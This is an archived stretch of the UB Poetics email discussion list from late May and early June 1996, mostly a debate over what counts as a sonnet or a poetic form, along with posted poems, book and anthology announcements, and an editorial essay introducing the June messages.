is, this, a sonnet, is this, a sonnet.
This is a sonnet: this is a sonnet.
--
Joe Aimone
Department of English
University of California, Davis
[redacted]

↑ Index

## 615. Annie Finch
### *Jerry Rothenberg's favorite typo soup*
*Fri 31 May 1996*

By the way, for those who have been wondering if I am possessed by a mischevious pomo imp bent on undermining any dignity I might manage to drag into the aarea of the sonnet's wornout aura, an explanatory postscript follows my

the signature of my response to Emily Lloyd .

--Annie F.

(the ion of the nation, as today's imp has it)

hantion ion of the nationla

↑ Index

## 616. Robert Drake
### *Re: Nonset form*
*Fri 31 May 1996*

> *I agree completely. I have no desire to prescribe, ossify, define, or limit anyone's play with, the form or any form. But I like being able to speak acccurately about poetic phenomena, and I find the technical terms in their original meanings extremely useful...*

i, fr one, have not misunderstood this discussion to be about prescribing what one may or ought do; some of the arguementativeness here seems not to be about what is *allowed*, as it does about what is *useful*... praps some have felt that a focus on more traditional forms implies that such forms are worth considering, to the exclusion of work that is bends or breaks those forms?

> *...Can't people play with the form, altering it more or less as they desire, without taking the terminology along with them?*

my underlying assumption is that form is a social construct, rather than an objectivly quantifiable, absolute? (praps this puts us on different planets, not

talking th same language...)  but from that standpoint, it makes perfect sense for a poet to "take the terminolgy" and use it as a source of cultural meaning/ context for work that, in strict prosidic analysis, doesnt have the physical features of the traditional form.

i used to do a soundpoem performance called "sonnets", no words allowed but w/ traditional rhythmic & "rhyme" schemes made using vocal & non-vocal improvised sound events...

it's interesting to me, that this discussion has pretty consistently refered to sonnet as typical ov formal poetry...  wd offer as contra- example modern haiku--the old 5/7/5 stanza forms and content restrictions have, in many contemporary "schools", largely been dispensed with.  but distinctions are still made & hotly debated about what is or is not a "true" haiku--"formal" distinctions being made on the basis of "content"... dunno how that connects, if at all,w/ yr emphasis in repetition ov elements-- tho it seems that content is the repeated element? in linked forms, where each verse is to echo/refer to th previous verse, but not to the verse before that?

asever
lbd

↑ Index

617. **Pierre Joris**
***Re: naropa dates/topics***
*Fri 31 May 1996*

oops, I forgot week 4, which also has Sean Killian, Bradford Morrow & Lee Ann Brown among its visiting writers

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]|
==========

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618. **Burt Kimmelman**
***The Poetics of Authorship***
*Fri 31 May 1996*

---

From: TESLA::KIMMELMAN 31-MAY-1996 11:27:11.25
To: ADMIN::KIMMELMAN
CC:
Subj: The Poetics of Authorship

Announcing my new book (please ask your local and university librarians to buy it--since, at $49.95 plus $3.00 shipping, it's probably too steep for civilians):

THE POETICS OF AUTHORSHIP IN THE LATER
MIDDLE AGES: THE EMERGENCE OF THE MODERN
LITERARY PERSONA

New York: Peter Lang Publishing, 275 7th Ave., NYC 10001.

To order: Phone 1-800-770-LANG (5264), or [redacted].
FAX [redacted]

or contact Mary McLaughlin, Director of Marketing,
at: [redacted]

or see Peter Lang's web page: http://www.peterlang.com

ABOUT THE BOOK (taken from its back cover):

Literary individualism first manifests in the twelfth century in word puzzles and overt self-naming as well as in discussions about the nature of writing and the role of the poet in the world. Guillem IX, Marcabru, Dante, Chaucer, and Langland, were poets and intellectuals. This engaging study traces their claims of authorship, not to a need for what modernity views as self-promotion, but rather to their interests in contemporary philosophical debates. Yet in their creations of both history and fiction, these poets anticipated modern narrative and its literary persona.

"Kimmelman's work on the poetics of authorship is
enlightened, cogent, often exciting--a significant contribution to
our understanding of the medieval text as mediator between the
collective and the individual. Kimmelman is nuanced,
insightful, and always aware of the resonances that involve not
only the medieval but the modern: in sum, he has given us an
alert, sensitive guidebook to the post-Classical career of ars
poetica."
- Allen Mandelbaum, Kenan Professor of Humanities, Wake
Forest University

"The task that Kimmelman has set himself, to locate in some of our medieval predecessors the earliest pulse beats of what we understand--almost take for granted--as the poetic persona, demands a rich and deep reading not only of writers like Guillem IX, Marcabru, Dante, Chaucer, and Langland, but also of the shifting intellectual currents that enabled each of them to hold up a mirror to reality that also reflected an image of his individual self. That he rises so well as critic, scholar, and teacher to this challenge, results in an extraordinary opportunity of recognition for his readers; there are moments when Kimmelman's discussions actuate encounters of singular connection with these historic points of poetic self- consciousness and vitality." - George Economou, The University of Oklahoma

Or else, if you are interested, you can contact me:

Burt Kimmelman
[redacted]

Thanks for listening . . . .

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## 619. henry
### *somnolosonnets*
*Fri 31 May 1996*

---

Tell me if I'm wrong,
yea, tell me if I'm wrong--
yet I detect
beneath the stout defense of form-breaking
and the dizzy spins on that most scandalous word,
"Sonnet"--
a longing, yea,
a longing for a little song,
yea, a little song to call our own?

--Sieur Henri de la Tour de Platitude Altesse

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## 620. FUNKHOUSER CHRISTOPH
### *PROTO-ANTHOLOGY of HYPERMEDIA POETRY now AVAILABLE*
*Fri 31 May 1996*

---

announcing

the appearance of

a PROTO-ANTHOLOGY of HYPERMEDIA POETRY

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Christy Sheffield Sanford

Jim Rosenberg

Ted Nelson

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Bill Luoma

Eduardo Kac

Michael Joyce

Robert Creeley John Cayley

Lee Ann Brown

Jay David Bolter

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http://cnsvax.albany.edu/~poetry/hyperpo.html

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621. **Annie Finch**

***SONNETS/FORMS***

*Fri 31 May 1996*

---

IÕd like to address at once several of the messages from around May 15 that I was finally able to read yesterday at my ofice--and then take a breather (!).

1. Rob Hardin wrote,

ÒSome modern sonnets are really ÒsonnetsÓ (though pomo has rendered the quotes unnecessary). Ò

Absolutely; I couldnÕt agree more. I would even extend the argument to say that ALL modern sonnets are ÒsonnetsÓ, although the only the more interesting of them seem to be aware of the fact (examples of more and less self-conscious varieties, and various justifications some contemporary poets have for writing them, are available in the infamous A Formal Feeling Comes (AFFC).

ÒMuch of what is called experimental in the stricter sense is as patterned and marmoreal as any neoclassical Dryden.Ó

Again, I agree completely. And again, please propose editing a section on one/some of these experimental forms for the Exaltation of Forms book.

ÒIn a Shakespearean sonnet, syntax, diction, and compression are demonstrably Òtangible.Ó

Yes, but are they demonstrably different from the syntax, diction, and compression in Shakespearean blank verse, or in quatrains? Do they have any terminological ramifications, since all weÕre talking about here really is terminology? ArenÕt the fourpart (English) and the twopart (Italian) argumentative structures, which Paul Oppenheim has brilliantly argued helped to construct the bourgeouis consciousness of an individual self during the Renaissance, the only such aspects of the sonnet that are really unique to the form and thus might have definitional value in discussions of poetics? And even if that is the case, is it really worth it to take such a relatively bland and widespread phenomenon as syllogistic structure as the defining characteristic of the sonnet--thus forfeiting much of the definitional impact of the outrageously complex and infuriating core structures and all their hardwon nonce or established variations, 12-line, 18-line, dactylic, or whatever?

2. Aldon Nielsen wrote: Ògiven the definitions offered, the only work that wd. be recognized as a new form wd. seem to be a work that invented something new to repeat.Ó Yes, that is what the definition was at the time, and it was clearly too limited. ItÕs gone. Maybe the sections on new kinds of forms in the Exaltation of Forms anthology will provide material for those interested in constructing further definitions of form.

3. David Kellogg wrote, ÒWould a poem count [as formal] for you [according to the definition discarded above--AF} if it used Òconspicuous repetition at the alphabetic level? Say the poem is lineated around the principle of Ò3 fÕs per line.Ó ?Ó

Yes, such a poem would definitely have been formal by my conspicuous repetition definition--assuming that the 3 fÕs were perceptible to the naked reading eye. And I love the idea of your friendÕs new letters of the alphabet. What do they look like, what are their names? Dr. SeussÕs are a bit too disappointingly composites of actual letters for me.

4. Tony Green wrote that DickinsonÕs Òformal feelingÓ poem Òdoes not really fit the amazing grace/heartbreak hotel/yellow ribbon of texas/gates of eden pattern-and so I am interested in the co-optation of Dickinson as a formalistÓ

I agree, it does not fit the pattern. In the book The Ghost of Meter: Culture and Prosody in American Free Verse, I spend a chapter discussing how that poem

and several others by Dickinson use a dynamic between the folk stanza pattern and the iambic pentameter pattern as their formal principle.

5. Finally, Steve Carll and Tony GreenÕs posts are based on several unexamined assumptions about form, which I will list to get them out in the open:

a. that one ÒtraditionalÓ sonnet is exactly like another; hence you can predict what a poem will be like if you know itÕs in traditional sonnet form (SteveÕs second post)--why should this be true any more than itÕs true that you can predict what one more chant or open-form poem will be like?

b. that the only reason to write a sonnet or any other form is Òto prove that you can do itÓ Ditto--wouldnÕt that be true to the same extent for a projective verse poem or any other kind?

c. that ÒcountingÓ is assumed to be Òa measure of success in writing.Ó Clearly, what KIND of form something is in has nothing to do with its success as writing--except insofar as the text engages more or less dynamically and creatively with its form, whatever the form is. This is about terminology, not about judging the quality of writing.

--Annie F.

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## 622. Annie Finch
### *"sonnet" in sonnet form*
*Fri 31 May 1996*

---

ENCOUNTER

Lurching across the bus, our faces glide
into its core, and back, and then we see
each others' eyes begin and settle them free.
I am the wing struggling in the buses side;
you are the wing that opens when we turn
together to lock our eyes into one bird.
We fly inside, nothing can be heard,
and the first journey ends. Our faces burn
with solitude together though we move
as if I travelled separate from you. Child
made of the darkness, woman, man, my own
remembering, incarnate, opening love,
we look away and leave, grown far more wild
in emptiness, the closer we have grown.

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## 623. Annie Finch
### *Re: Nonset form*
*Fri 31 May 1996*

---

Dear Charles,
Youa re absolutely right about "original." Very sloppy use fo the word. Well,
is there another way to say it?
If not does thaqt mean it's not worth saying?
--Annie

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## 624. Daniel Bouchard
### *Re: "sonnet" in sonnet form*
*Fri 31 May 1996*

---

This bus is obviously traveling to Pound's
Dim Lands of Peace.
Express route, one way.

Annie, if this is a "living thing" isn't it kinder to kill the form?

[redacted]

---

ENCOUNTER

Lurching across the bus, our faces glide
into its core, and back, and then we see
each others' eyes begin and settle them free.
I am the wing struggling in the buses side;
you are the wing that opens when we turn
together to lock our eyes into one  bird.
We fly inside, nothing can be heard,
and the first journey ends.  Our faces burn
with solitude together though we move
as if I travelled separate from you.  Child
made of the darkness, woman, man, my own
remembering, incarnate, opening love,
we look away and leave, grown far more wild
in emptiness, the closer we have grown.

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625. **David Baratier**
***non such sonnata forms continuum***
*Fri 31 May 1996*

As a part of a marginalized group in the US, namely,
a survivor of the generation which directly experienced
the 80's crack epidemic and as a member who actually
parlays any attention to words at all,  I quite often use
the sonnet as a formulaic methodology of appropriating
control for myself, as well as large words. The use of
the sonnet as a historically masculinist propaganist tool
for reifying the social stature and division between
upper crust masters and indentured (poet) servants
is aptly suitable for the modern-day low-caste survivalist
whose sensibilities are continually extricated with
a suburbanite martyrdom founded on television coverage
of areas which are so ugly with possession they could not
possibly possess a sense of community.

David Baratier

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626. **Steve Carll**
***Re: SONNETS/FORMS***
*Fri 31 May 1996*

At 12:39 PM 5/31/96 -0500, Annie Finch wrote:

>5.  Finally, Steve Carll and Tony GreenÕs posts are based on several
>unexamined assumptions about form, which I will list to get them out  in the
>open:
>
>a.  that one ÒtraditionalÓ sonnet is exactly like another; hence you can
predict
>what a poem will be like if you know itÕs in traditional sonnet form (SteveÕs
>second post)--why should this be true any more than itÕs true that you can
>predict what one more chant or open-form poem will be like?

I think I have examined this, Annie, and I also think by and large you CAN predict what one more chant or open-form poem will be about.  If form is adhered to too strictly it becomes a parody of itself.  This is what insisting too authoritatively on "precise definition" produces, and it's the danger of what you seem to be advocating.

>b. that the only reason to write a sonnet or any other form is Òto prove that
>you can do itÓ Ditto--wouldnÕt that be true to the same extent for a projective
>verse poem or any other kind?

Again, most of the time, yes, it would, except, as you say below, when it "engages more or less dynamically and creatively with its form, whatever the form is." What do "dynamic" and "creative" mean? They have to do with energy, force, movement into the new. How can that take place without the TRANSformation I mentioned a couple of days ago? If energy is trapped within a closed room, the room blows up.

>c. that ÒcountingÓ is assumed to be Òa measure of success in writing.Ó Clearly,
>what KIND of form something is in has nothing to do with its success as
>writing--except insofar as the text engages more or less dynamically and
>creatively with its form, whatever the form is. This is about terminology, not
>about judging the quality of writing.

Exactly. And I say, overterminologization does violence to the phenomenon being engaged with.

||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
``````````````````````````````````````````

Steve Carll [redacted]

I listen.
I hear nothing. Only
the cow, the cow
of nothingness, mooing
down the bones.
~~Galway Kinnell
``

||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

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627. Chris Stroffolino

Re: Nonset form

Fri 31 May 1996

Dear Annie Finch-- I have a question in all seriousness that I would be really interested in your answer to. I am currently looking at alot of sonnets by poets who later on in their careers went on to be known for, and celebrated more, for their "experimental" vers libra. For instance, the early sonnets of

Frank O'Hara, Jack Spicer, Laura Riding. Coming from the perspective I do, I tend to want to vindicate these early experiments in form (just as I am interested in Mondrian's "flowers" (etc) and Franz Kline's early railroad landscapes)--as important. Yet, would you be interested in me posting one or two of these. Because it's one thing for a critic like Marjorie Perloff to criticize, say, O'Hara's early sonnets in terms of his later work. But I am curious what you would say about them. I ask this in all humility. Thanks, Chris Stroffolino

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628. **Charles Alexander**

Re: Nonset form

Fri 31 May 1996

> *Dear Charles,*
> *Youa re absolutely right about "original." Very sloppy use fo the word. Well,*
> *is there another way to say it?*
> *If not does thaqt mean it's not worth saying?*
> *--Annie*

Perhaps what you're looking for is a generally "accepted" definition, rather than an original one. And the discussion on this list generally argues against any such definition being too static & unchanging. Most of your comments seem to me to argue that the tradition of the sonnet gets considerable respect (and not undue respect) in any forthcoming definition. It's been interesting to me that this is a live and, seemingly, rather urgent question to people. Frankly, it hasn't been one to me. I may write a sonnet once in a blue moon, when what I want to say seems to want to occupy that form -- i.e. I can't remember in the last twenty or so years ever trying from a beginning point of composition to write a sonnet, but have found myself, in the midst of the poem, coming to that form or some emendation/challenge of that form. But as far as arguing for the validity of the form, or for any definition of it at all, it's just not an issue for me. So I view this discussion with some interest & curiosity. If this turns into a conversation about how poems find their form, be that sonnet or whatever, I would probably be a more avid reader of the posts in this thread.

Good luck in your anthology. I hope you have lots of takers to edit sections on forms, including evolving forms, experimental forms, etc.

charles alexander

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629. George Bowering
Re: nonset form
Fri 31 May 1996

> *When I wrote,*
>
> *A form is a living thing in my book and needs sustainable care.*
>
> *George Bowering wrote,*
>
> *If it is in your (or anyone's) book is it really living?*
>
> *Yes, that was my point: That some things in books seem living to me, such as forms, when they are seriously engaged with, and words, when they are not too transparently referential .*
>
> *ANNIE FINCH*
> *DEPARTMENT OF ENGLISH*
> *MIAMI UNIVERSITY*

Ah, there's a difference betweeen our poetics, I guess. In my experience, or in my practice, the form becomes discernible when the poem is spoken, except for, say, concrete poetry.

.....
"In town we have arguments."
--Stan Persky
George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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630. Annie Finch
Re: SONNETS/FORMS
Fri 31 May 1996

Re the reply to Rob H., Aldon N., Steve, Tony, et al: the program I sent this on converted open quotes to R, closed quotes to S, and apostropohes to U. I apologize and would appreciate it if anyone who captures/quotes text convert them to what they should be to avoid the distraction. Doesn't all this, even the typo soup, make you appreciate your own email program?

-Anniedai oahat they sht they 1w t

↑ Index

631. **Annie Finch**
Re: Nonset form
Fri 31 May 1996

Dear Chris,
Yes. I tend to love anything O'Hara does so I might not be too objective, but I've left his Collected in my office and I would like the chance to respond to them in the context of this discussion.
--Annie

j

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632. **Rod Smith**
Re: Nonset form
Fri 31 May 1996

---

came across this rereading Creeley's _Autobiography_ (pg. 95)--

". . . When young, I'd written Olson with almost pious exclamation: 'Form is never more than an extension of content.' Now I might say equally, 'Content is never more than an extension of form.' It depends, as they say in New England. Back of it all I hear Williams again, saying all those years ago, 'Why don't we tell them that it's _fun_. . .' "

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633. **Annie Finch**
Re: SONNETS/FORMS
Fri 31 May 1996

Dear Steve,
So you cede the point taht one can predict what an open-form poem or chant will
be about, or a projective verse poem, as much as one can predict what a sonnet will be about.
Then how can you read at all, if you find such that such predictability precludes reading?
Do you honestly think that every "experimental" poem is in a completely new form? You seem to be painting yourself into a corner.

-Annie

you at

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634. **Annie Finch**
Re: Nonset form
Fri 31 May 1996

Dear Charles,

Thanks for your thoughts for the anthology. I hope there will be takers, and this si the time to take, so please let me know, anyone who wants to do a section on a form (still some nonexperimetnal ones left too--anyuone for the ballad stanza? Charles Bernstein--didn't you say you were interested in cowboy poetry--or perhaps anapests, since you're the only other person I know besides myself who seems to appreciate Swinburne?) and any experimental form, repetitive or nonrepetitive.(Women, by the way, would be especially welcome at this point. this point-- Could one possibly imagine why?)oaically I completely share your goal, Charles, of bringing the deiscussion to the point of how poems choose thier forms, sonnet or whatever they may be, and I think the best demonstration of the sonnet's deadness, or poetry's freedom from it, would be if your attitude of what's all the fuss about were to become common. I have no idea why it's such a big deal. My hands were slapped during my apprenticeship if I ever tried to write in form, or to write out of the "Sentimetnal" tradition Pound quashed, so probably it's no surprise that I'm interestd in these things now. But why is it so threatening in the arena of this list? con ? Actually, I don't care why--

Though I would like to make th epoint that if as Mike B. suggested to me backchanneling, this is threattening because of a superficial similarity to neocon attacks , and . I have been surprised by the t k,saeiqkamths for the an.e con attacks on progressive thinking about literature, that is all the more reason to absorb carefully the germ of truth in each attitude towards poetics in order to build a stronger and more wellrounded/balanced/impervious/flexible body of thought about poetics.

--Annie

oi o

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635. George Bowering
Re: Nonset form
Fri 31 May 1996

> *Who wrote the very first sonnet? Who first used the term sonnet?*
> *charles alexander*

Couple decades ago I was listening to Kenner, cant remember whether it was in the Japanese restaurant or at the lecture, when he posited that the sonnet was accidentally created when some Italian poet, writing eight-line stanzas, quit after doing 6 in his second stanza. Someone else found this and mistook it for a new form, and did another, etc.

Kenner compared this with the post-renaissance European sculptors who found Greek or Roman busts that were just torsi, the heads and limbs broken off, so that they started doing it too, not breaking off liombs, but making sculptures of torsi, and so we got that form.

.....
"In town we have arguments."
--Stan Persky
George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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636. Joe Aimone
take a sonnet, any sonnet (Not)
Fri 31 May 1996

(Since the other Joe A. is so agreeable, let me disagree with myself.)

Not is a sonnet. This sonnet. This not is a
Sonnet. This is a Not Sonnet. This is a not-
Not-is. A sonnet, this sonnet, this not, is a
Sonnet this is. A not sonnet, this is a not-
Not. "This is a sonnet" - - this "not" "is a sonnet."
Is a sonnet not this? Is a sonnet not this
Not this? (Is a sonnet this not?) "Is a sonnet"
Is a sonnet not this. "Is a sonnet" - - not this,
Not sonnet; this is a sonnet, this not.... Is a

Is a "sonnet?" This not is a sonnet. This not-
Not-sonnet, this is a sonnet. This not is a
Is. (A sonnet this not _is_ a sonnet!) This "not"
Is a "not" sonnet. "This" is a not-sonnet "this."
"Not" is a sonnet, "this" not. Is a sonnet this?
--
Joe Aimone
Department of English
University of California, Davis
[redacted]

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

June 1996

453 messages · Sat 1 Jun 1996 – Sun 30 Jun 1996

On the twenty-fifth of June a truck carrying two tonnes of explosive was parked against the perimeter fence of an apartment block at Khobar in Saudi Arabia, and nineteen American airmen were killed in their beds. The list does not mention it, and I have stopped being surprised by this. June was a quiet month by the room's standards, four hundred and fifty-three letters and no great quarrel, and its two presiding subjects were silence and nothing — Cage named two hundred times, Beckett a hundred — which the room meant, on this occasion, quite literally. What it was actually doing, without announcing it and possibly without noticing, was the one piece of business it had been failing at all spring.

The failing is easily stated. In March the list had spent thirty messages on avant-garde and could not agree the term meant anything; in May it had spent a hundred on the sonnet and could not agree that either. In June, when Ira Lightman asked which British poets engage seriously with language poetry, Ken Edwards answered him generously and then added, from the bottom of his soul, *"don't anybody dare start another thread"* on what exactly langpo is. The room had lost its appetite. Three months of trying to fix the meaning of words it had used for twenty years had produced nothing but fatigue and jokes about a woman's surname.

Meanwhile the other thing had happened. In April, larking about in the poetry-video argument, Chris Stroffolino had typed the word quertzblatz, which is not a word, addressing the list as seriously quertzblatz guyzies. May took it up — thirteen messages, and Rob Hardin composing a mock lexicon of specimens and usage, numbered in Roman figures of which several are not Roman figures — and one correspondent, Tim wood, put his finger on it exactly: an *"empty signifier in a non-existant space"*. That is what it was. It had no meaning at all, which was the entire joke.

And in June the joke stops. Nobody discusses quertzblatz in June; they use it. J. Beer, opening the month's largest thread with a serious question about Beckett and Cage and the impossibility of big-S Selfhood, remarks in passing that Cage seems to have mattered more to *"querzblatian types"* — a coinage of a coinage, deployed without gloss, in a subordinate clause, and understood by everybody. Tom Beard, recommending a poet, allows that *"she's not querzblatz enough for*

some". The word now has an adjective and a comparative. It took nine weeks. The sonnet has had seven hundred years and is still being argued about.

What redeems all this from mere farce is the month's other thread, which Jordan Davis opened with five words: *"Anybody read any good poems lately?"* The answers came for a fortnight — Michael Boughn with Lise Downe, John Kinsella with Rod Mengham, Ken Edwards emptying his active shelf, Carnography with the Dennis Cooper, George Bowering reporting of a New Zealander's poems that *"they are really bad"* — and somebody posted ECW Press's street address in Toronto, and then somebody else posted it again with the fax. I have set the empty word and the full shelf on either side of one another exactly as June sent them, because a room that could not say what a poem was, and had given up trying, could still tell you without hesitation which one to read, and where to write for it.

— Kristen M. Fabians

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428. Daniel Salmon — Re: british women poets
429. Ward Tietz — Re: Armand Schwerner
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432. Rod Smith — Re: british women poets
433. John E. Matthias — British Women Poets
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446. Tom Beard — Commonwealth women poets
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450. Carnography — Re: Extended Play

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452. Lisa Amber Phillips — Orono Others
453. Joel Felix — Ronald Johnson Broadside (ad)

1. **Annie Finch**
Re: nonset form
Sat 1 Jun 1996

Dear George Bowering, Yes, this is an interesting difference, isn't it? I think one of the reasons I enjoy "predictable" forms or whatever on earth we are calling them now, wherever on earth we are callingthem now, is just because they do seem to be alive o n the page to me. And to you poems are most alive off the page. Are these open form poems / do you notice a difference depending on the level of predictabiliy of the poem in your sense that it's alive off teh page? I guess to mea predictable form seems a transcription of a performance always, since the repetition and the dialectic of expectation I have with it act like a physical voice to me, even when it's just in a book.

--Annie

and t okind of s athey are alive e to t eh ci

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2. **Annie Finch**
Re: SONNETS/FORMS
Sat 1 Jun 1996

A thought:
Steve Carll wrote:
"overterminologization does violence to the phenomenon [i.e. the poetic form /deform-AF] being engaged with."

EXACTLY. I don't know about the over, but terminologization does do violence to the phenomenon. And isn't that voilence a good thing for writing? It stops smug following in tracks by clarifying the truth that they ARE tracks, and forces you to be aware, to change your tarcks, to do violence back. That's waht keeps it alive. So terminology can be the frog you have to leap over.

--Annie F.

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3. **Annie Finch**
Re: Nonset form
Sat 1 Jun 1996

Re Charles Alexander's question on the origin of the sonnet,

According to Paul Oppenheimer's fascinating book The Sonnet, it was in-vewnted by a lawyer early in the 13th century, Giacomo da Lentino, who took an existing Sicilian folk song stanza and added the 6 lines, and the "turn," to it--

thus, in Oppenheimer's view, inventing modern poetry by taking poems out ofthe public realm wher e you need an audience and into the arena of self-contained self-ref lection (since the two-part form (actually three-part, since Oppenheimer claims that even int he Italian sonnet the couplet usually has a separate presence) allows the poet to resolve a problem alone, to talk to her/himself.

The term sonnet ws first used by Dante, who ws the one to really popularize the form, fifty years later. Oppenheimer says that it really does NOT mean "little song" and makes much of the fact that the sonnet may have been the first kind of poem NOT meant to be set to music. He claims that sonnet means simply "noise." he also says the strucutre exactly reflects the harmonia mundi, the pythagorean/platonic theory of numbers.o iaionor, la ehrt sea .ri I like this typosoup so much I'm keeping it in the main text. Annie

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4. cris cheek

Re: Music City sonnet

Sat 1 Jun 1996

>> > bantering martians hope for glory
>> > we committed literary piracy on the high seas
>> > Al left Billie Joe Cat found the path to
>> > hunger large as scaredy free-throw
>> > underground stone guitar blue uniformed blow
>> > mouth on double-cross diploma clue
>> > a world without nouns is healthy?
>> > sequined sequels quells
>> > primacy recency a magnificat its own
>> > catorziemme and quattrocento etc
>> > and minnie pearl and conway twitty
>> > a dirge enough for Solent murk
>> > too much robing and screeing
>> > the voice of an angel and the soul of
>> > blue few, grow a garage band
>> > glue bag a branding fag wagered row
>> > Sue the crew could count, although
>> > soccer Tolemy semper vivens
ection
>> >
>> >
>>

↑ Index

5. Michael Boughn

Re: just thought you'd want to see this

Sat 1 Jun 1996

Chris, did you post this piece of "academicism" to rile us up? It certainly demonstrates a serious lack of understanding of what's at stake in this writing. Part of the impact and importance of _Pieces_ was the way it undermined the entire notion of the "trivial" poem and it's new critical counterpart, the monumental poem. The metrical ramifications of "A Piece" alone are worthy of extended consideration. In place--that is within the unfolding thinking of the book--the moves this poem makes are crucial. Only a neo-scholastic could miss it. As for opacity--good grief, do we still have to put up with that ridiculous concept? And biting gem? Gimmee a break.

Mike

[redacted]

> *I find RC's work highly uneven. Many poems are little biting gems (such as the renowned "I Know A Man"), while others strike me as mere finger exercises, opaque or trivial notations. An instance of opacity, which opens the poem "To And":*
>
> *To and*
> *back and forth*
> *direction*
> *is a third*
>
> *or simple fourth*
> *of the intention*
> *like it*
> *goes and goes.*
>
> *And here's a poem I would call trivial, "A Piece" in its entirety:*
>
> *One and*
> *one, two,*
> *three.*

↑ Index

6. Joe Amato

Re: PROTO-ANTHOLOGY of HYPERMEDIA POETRY now AVAILABLE

Sat 1 Jun 1996

kudos! to chris funkhouser for his provocative, linked essay on the web about hypermedia poetry...

again, at

http://cnsvax.albany.edu/~poetry/hyperpo.html

check it out!...

joe

↑ Index

7. Alan Sondheim

--

Sat 1 Jun 1996

When nighttime falls, I crawl the walls,
Miss all that I hold dear;
I drop a tear, my crying stalls,
Because I walk the sphere.
I walk the left, I walk the right;
I walk both far and near.
I am bereft, an ugly sight,
Because I walk the sphere.
The sphere is big, it has no eyes,
It has no ears to hear my cries;
It is a nightmare in disguise -
I walk it in great fear.
I never know where I have been
In spite of mourning and of sin,
Because I walk the sphere.

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8. Burt Kimmelman

Re: just thought you'd want to see this

Sat 1 Jun 1996

Chris,

Creeley's poem to WCW I would think provides the rationale / defense for C's "finger exercises.

Burt

↑ Index

9. Gabrielle Welford
Re: Music City sonnet
Sat 1 Jun 1996

> *bantering martians hope for glory*
> *we committed literary piracy on the high seas*
> *Al left Billie Joe Cat found the path to*
> *hunger large as scaredy free-throw*
> *underground stone guitar blue uniformed blow*
> *mouth on double-cross diploma clue*
> *a world without nouns is healthy?*
> *sequined sequels quells*
> *primacy recency a magnificat its own*
> *catorziemme and quattrocento etc*
> *and minnie pearl and conway twitty*
> *a dirge enough for Solent murk*
> *too much robing and screeing*
> *the voice of an angel and the soul of*
> *blue few, grow a garage band*
> *glue bag a branding fag wagered row*
> *Sue the crew could count, although*
> *soccer Tolemy semper vivens*
> *ection*
> *noften nifty Nat Nat! shrinking*

↑ Index

10. Steve Carll
Re: SONNETS/FORMS
Sat 1 Jun 1996

At 03:42 PM 5/31/96 -0500, Annie Finch wrote:
>Dear Steve,
>So you cede the point taht one can predict what an open-form poem or chant will
>be about, or a projective verse poem, as much as one can predict what a son-net
>will be about.
>Then how can you read at all, if you find such that such predictability
>precludes reading?
>Do you honestly think that every "experimental" poem is in a completely new
>form? You seem to be painting yourself into a corner.

>
>-Annie

Well, appearances can be deceiving, can't they? :-) In general, this predictability precludes my interest in reading it to exactly the extent that the poem is (unreflectively) "about" staying within the "traditional" confines of the form. Again, it goes back to, is the form being simply used as a template into which one is plugging words in order to manufacture a poem in that form, or is the form itself being honestly engaged with in such a way that it, too, transcends some of the limitations history has imposed on it?

My answer to the last question here depends on how we define "completely new form." You recently posted something to the effect that it's fine for people to experiment in such a way that they change the forms, but they shouldn't drag the terminology with them into the (now-changed) form. If, for the sake of dialogue, I accepted those terms, then I'd have to say that any poem which created such an epiphany of its form would indeed create a "completely" new form. However, I don't believe the terminology needs to be so rigid. No, I don't think every experimental poem is in a completely new form, I think our notion of form itself needs to be more fluid.

Which kind of puzzles me about where you're coming from. You seem to be arguing that we should be more precise in our definitions of various forms, but when Jordan asked what your definition of a sonnet is, you replied you couldn't articulate one, but you knew a sonnet when you saw one. But a lot of people could make a similar claim (heck, I know a sonnet when I see one, too) and yet be seeing a huge range of different things as sonnets that others would never consider sonnets. So we have, it seems to me, two choices at this crossroads:

1) We can stop worrying about the precise boundaries of definition, allowing everybody to exercise (and, not coincidentally, share) their own intuition with regard to the form, or

2) We can try to find some authority for our own definition and exclude everybody else's.

(Of course, now that I say that, a dozen people will post a dozen "third choices" I didn't think of!)

||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
``````````````````````````````````````````

Steve Carll [redacted]

I listen.
I hear nothing. Only
the cow, the cow
of nothingness, mooing
``````````````````````````````````````````

down the bones.
~~Galway Kinnell
```
```
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

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11. **henry**
Re: Nonset form
Sun 2 Jun 1996

On Fri, 31 May 1996 17:27:43 -0700 George Bowering said:
>
>Couple decades ago I was listening to Kenner, cant remember whether it was
>in the Japanese restaurant or at the lecture, when he posited that the
>sonnet was accidentally created when some Italian poet, writing eight-line
>stanzas, quit after doing 6 in his second stanza. Someone else found this
>and mistook it for a new form, and did another, etc.
>
>Kenner compared this with the post-renaissance European sculptors who found
>Greek or Roman busts that were just torsi, the heads and limbs broken off,
>so that they started doing it too, not breaking off liombs, but making
>sculptures of torsi, and so we got that form.

Critics are full of clever "it". More likely the form of the sonnet corresponds to the basic mathematical ratio of the fibonacci series found both in nature and in a great deal of ancient & modern art. - Henry Gould

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12. **Annie Finch**
Re: SONNETS/FORMS
Sun 2 Jun 1996

Dear Steve, It seems to me that your idea of where forms' boundaries go is rather sputtery. On the one hand, you ahve an idea that a poem in a (shall we say predetermined rather than traditional, for the sake of variety) predetermined form is poured into something "rigid," a word that sets my teeth on edge in this context because ANY good poem in a predetermined form naturally changes that form! Form is only rigid in a bad poem, in other words. But, though you don't accept the possibility for fluidity and dynamic engagement within a predetermined form, you do allow for some quasi-mystical point where suddenly the form is being "changed" in a daring and valuable way, by exactly the kinds of technical changes that were futile mechanical exercises while one

